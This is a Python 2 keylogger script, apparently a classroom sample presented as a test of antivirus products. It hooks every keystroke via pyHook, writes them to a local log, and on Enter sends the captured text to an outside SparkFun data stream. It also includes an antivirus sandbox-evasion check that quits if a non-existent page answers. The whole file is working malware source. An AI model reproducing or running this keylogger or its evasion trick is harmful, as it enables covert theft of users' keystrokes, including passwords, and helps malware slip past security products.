import pythoncom, pyHook, sys, logging
LOG_FILENAME = 'keylog.txt'
print "******** ** ** ** **"
print "******** ** ** ** **"
print "** ** ** ** **"
print "** ** ** ** **"
print "******** ** ** ** **"
print "******** ** ** ** **"
print "** **** ** **"
print "** **** ** **"
print "******** ** ** *********"
print "******** ** ** *********"
print
print "I am an evil keylogger!"
print "I will steal your keystrokes and post them on SparkFun!"
print "I evade AV by fetching a non-existent page, as I just learned at BSidesLV"
print "Two steps to get hacked:"
print
print "1. Type any line of text"
print "2. Press ENTER again"
print
print "The results don't show up in IE; you need to make Chrome the default
browser"
print
print "This is intended as a test of antivirus products."
print "Don't do illegal things with it!"
print "If you have questions, contact sbowne@ccsf.edu"
print
import socket
numchars = 0
keys = ""
import webbrowser
import urllib
url = 'http://attack.samsclass.info/idontexist.htm'
response = urllib.urlopen(url)
# print "url: ", url, " Code = ", response.getcode();
if response.getcode() == 200:
print "You are not a real machine!"
print "You are an emulated network inside an AV product!"
print "I'm not going to log your keystrokes, after all!"
x = raw_input("Press Enter to continue");
exit(1)
def OnKeyboardEvent(event):
global numchars, keys
logging.basicConfig(filename=LOG_FILENAME,
level=logging.DEBUG,
format='%(message)s')
logging.log(10,chr(event.Ascii))
numchars += 1
keys += chr(event.Ascii)
if event.Ascii == 13:
url = 'http://data.sparkfun.com/input/yAGWzw6yX4H87KNJNV4d'
params = urllib.urlencode({'private_key' : '4Welwz5yJdC1N5pGpnkB',
'keys' : keys})
req = url + "?" + params
response = urllib.urlopen(req)
webbrowser.open('https://data.sparkfun.com/streams/yAGWzw6yX4H87KNJNV4d')
sys.exit()
return True
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()